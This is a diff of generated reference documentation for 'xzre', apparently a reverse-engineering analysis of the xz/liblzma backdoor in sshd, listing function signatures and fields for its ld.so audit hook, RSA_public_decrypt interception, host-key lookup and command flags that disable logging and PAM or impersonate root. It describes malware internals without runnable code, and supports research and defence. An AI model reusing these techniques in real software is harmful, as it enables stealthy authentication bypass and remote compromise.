Definition: xzre.h:541
+Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:453
+u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:465
+Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:485
+BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:495
+u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:523
+u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:511
+u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:499
+Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:481
+u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:473
+u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:489
+
+
+void * lzma_code_end
liblzma code segment end
Definition: xzre.h:879
+libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:827
+BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:835
+char * rsa_sha2_256_str
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:847
+imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:823
+void * sshd_data_start
sshd data segment end
Definition: xzre.h:860
+char * ssh_rsa_cert_v01_openssh_com_str
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:843
+u32 num_shifted_bits
number of bits copied
Definition: xzre.h:894
+void * sshd_code_start
sshd code segment start
Definition: xzre.h:852
+void * sshd_data_end
sshd data segment start
Definition: xzre.h:864
+void * sshd_code_end
sshd code segment end
Definition: xzre.h:856
+void * lzma_code_start
liblzma code segment start
Definition: xzre.h:872
+
+void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:644
+void * RSA_get0_key_plt
address of the PLT for RSA_get0_key() in sshd
Definition: xzre.h:654
+void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA() in sshd
Definition: xzre.h:649
+
+BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:1552
+u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:1541
+u8 * start_addr
start of the code address range to search
Definition: xzre.h:1531
+u8 * end_addr
start of the code address range to search
Definition: xzre.h:1536
+u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:1546
+
+
+the payload header. also used as Chacha IV
Definition: xzre.h:1344
+the contents of the RSA 'n' field
Definition: xzre.h:1359
+
+void * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:956
+void * libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:945
+void * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:940
+u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:977
+unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:996
+void * sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:961
+char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1013
+size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1025
+struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:987
+void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:970
+
+
+
+
+
+void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1189
+EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1184
+void * xref
location of the instruction that referenced the string
Definition: xzre.h:1197
+void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1193
+
+represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1328
+u32 index
Definition: xzre.h:1330
+u32 byte_index
Definition: xzre.h:1335
+u32 bit_index
Definition: xzre.h:1333
+
BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info)
Parses the given in-memory ELF file into elf_info.
void * elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id)
Looks up an ELF symbol from a parsed ELF, and returns its memory address.
BOOL resolve_libc_imports(struct link_map *libc, elf_info_t *libc_info, libc_imports_t *imports)
parses the libc ELF from the supplied link map, and resolves its imports
@@ -1508,39 +1622,41 @@
BOOL find_instruction_with_mem_operand_ex(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, int opcode, void *mem_address)
finds an instruction with an immediate memory operand
BOOL process_shared_libraries(backdoor_shared_libraries_data_t *data)
scans loaded libraries to identify interesting libraries
BOOL process_shared_libraries_map(struct link_map *r_map, backdoor_shared_libraries_data_t *data)
scans loaded libraries to identify interesting libraries and populate related data
-BOOL backdoor_setup(backdoor_setup_params_t *params)
the backdoor main method
-unsigned int backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame)
calls backdoor_init_stage2 by disguising it as a call to cpuid.
+BOOL backdoor_setup(backdoor_setup_params_t *params)
the backdoor main method that installs the backdoor_symbind64() callback
+void * elf_get_reloc_symbol(elf_info_t *elf_info, Elf64_Rela *relocs, u32 num_relocs, u64 reloc_type, EncodedStringId encoded_string_id)
Searches the ELF relocations for a symbol having name encoded_string id and relocation of type reloc_...
BOOL elf_contains_vaddr(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags)
checks if given ELF file contains the range [vaddr, vaddr+size) in a segment with the specified memor...
BOOL is_range_mapped(u8 *addr, u8 length, global_context_t *ctx)
verify if a memory range is mapped
BOOL find_link_map_l_audit_any_plt(backdoor_data_handle_t *data, ptrdiff_t libname_offset, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
Find struct link_map offset required to modify ld.so's private link_map::l_audit_any_plt state.
const u64 tls_get_addr_random_symbol
a bogus global variable that is used by the backdoor to generate an extra symbol
backdoor_hooks_data_t * hooks_data_addr
location of backdoor_hooks_data_t
BOOL find_mov_instruction(u8 *code_start, u8 *code_end, BOOL is_64bit_operand, BOOL load_flag, dasm_ctx_t *dctx)
finds a MOV instruction.
-CommandFlags2
Definition: xzre.h:1173
-@ CMDF_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1183
-@ CMDF_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1193
-@ CMDF_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1178
-@ CMDF_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1188
+ElfId
Definition: xzre.h:195
+@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:200
+CommandFlags2
Definition: xzre.h:1384
+@ CMDF_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1394
+@ CMDF_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1404
+@ CMDF_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1389
+@ CMDF_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1399
struct key_payload_hdr key_payload_hdr_t
the payload header. also used as Chacha IV
BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx)
finds a call instruction
BOOL sshd_get_host_keys_address_via_xcalloc(u8 *data_start, u8 *data_end, u8 *code_start, u8 *code_end, string_references_t *string_refs, void **host_keys_out)
finds the address of sensitive_data.host_keys in sshd by using XREF_xcalloc_zero_size in xcalloc
const elf_functions_t elf_functions
special .data.rel.ro section that contains addresses to various functions
fake_lzma_allocator_t * get_lzma_allocator_address()
gets the address of the fake LZMA allocator
const ptrdiff_t elf_functions_offset
special .data.rel.ro section that contains the offset to elf_functions
+void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame)
calls backdoor_init_stage2 by disguising it as a call to cpuid.
BOOL secret_data_append_singleton(u8 *call_site, u8 *code, secret_data_shift_cursor_t shift_cursor, unsigned shift_count, unsigned operation_index)
Shifts data in the secret data store, after validation of code. this function is intended to be invok...
int sshd_get_host_keys_score_in_do_child(void *host_keys, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if do_child accesses host_keys or not
int sshd_get_host_keys_score_in_demote_sensitive_data(void *host_keys, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if demote_sensitive_data accesses host_keys or not
void * elf_get_data_segment(elf_info_t *elf_info, u64 *pSize, BOOL get_alignment)
Obtains the address and size of the last read-write segment in the given ELF file this is typically t...
-int x86_dasm(dasm_ctx_t *ctx, u8 *code_start, u8 *code_end)
disassembles the given x64 code
BOOL sshd_get_host_keys_address_via_krb5ccname(u8 *data_start, u8 *data_end, u8 *code_start, u8 *code_end, void **host_keys_out, elf_info_t *elf)
finds the address of sensitive_data.host_keys in sshd by using getenv( STR_KRB5CCNAME )
const u32 string_action_data[1304]
contains action data for the encoded string radix tree
BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part)
Checks if the code between code_start and code_end is an endbr64 instruction.
void fake_lzma_free(void *opaque, void *ptr)
a fake free function called by lzma_free()
void * elf_get_rodata_segment(elf_info_t *elf_info, u64 *pSize)
Obtains the address and size of the last readonly segment in the given ELF file this corresponds to t...
-CommandFlags1
Definition: xzre.h:1158
-@ CMDF_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1166
-@ CMDF_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1170
-@ CMDF_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1162
+CommandFlags1
Definition: xzre.h:1369
+@ CMDF_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1377
+@ CMDF_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1381
+@ CMDF_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1373
uintptr_t backdoor_symbind64(Elf64_Sym *sym, unsigned int ndx, uptr *refcook, uptr *defcook, unsigned int flags, const char *symname)
the backdoored symbind64 installed in GLRO(dl_audit)
BOOL find_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA or MOV instruction with an immediate memory operand
EncodedStringId get_string_id(const char *string_begin, const char *string_end)
Get the.
@@ -1549,10 +1665,11 @@
struct elf_handles elf_handles_t
array of ELF handles
void elf_find_string_references(elf_info_t *elf_info, string_references_t *refs)
parses the ELF rodata section, looking for strings and the instructions that reference them
u8 * elf_find_string_reference(elf_info_t *elf_info, EncodedStringId encoded_string_id, u8 *code_start, u8 *code_end)
finds an instruction that references the given string
+BOOL x86_dasm(dasm_ctx_t *ctx, u8 *code_start, u8 *code_end)
disassembles the given x64 code
BOOL find_lea_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA instruction with an immediate memory operand
const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts
special .rodata section that contains _cpuid() related GOT offsets
int sshd_get_host_keys_score_in_main(void *host_keys, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if main accesses host_keys or not
-struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:955
+struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1167
u8 * find_string_reference(u8 *code_start, u8 *code_end, const char *str)
finds an instruction that references the given string
BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx)
obtains a decrypted copy of the secret data
BOOL find_function_prologue(u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode)
locates the function prologue
@@ -1590,7 +1707,6 @@
BOOL find_function(u8 *code_start, void **func_start, void **func_end, u8 *search_base, u8 *code_end, FuncFindType find_mode)
locates the function boundaries.
BOOL run_backdoor_commands(RSA *key, global_context_t *ctx, BOOL *do_orig)
checks if the supplied RSA public key contains the backdoor commands, and executes them if present.
ptrdiff_t get_tls_get_addr_random_symbol_got_offset(elf_entry_ctx_t *ctx)
get the tls_get_addr_random_symbol GOT offset
-void * elf_get_reloc_symbol(elf_info_t *elf_info, Elf64_Rela *relocs, unsigned num_relocs, unsigned reloc_type, EncodedStringId encoded_string_id)
Searches the ELF relocations for a symbol having name encoded_string id and relocation of type reloc_...
BOOL find_mov_lea_instruction(u8 *code_start, u8 *code_end, BOOL is_64bit_operand, BOOL load_flag, dasm_ctx_t *dctx)
like find_mov_instruction, but also considers LEA instructions
BOOL find_lea_instruction(u8 *code_start, u8 *code_end, u64 displacement)
finds a lea instruction
void * fake_lzma_alloc(void *opaque, size_t nmemb, size_t size)
a fake alloc function called by lzma_alloc() that then calls elf_symbol_get_addr()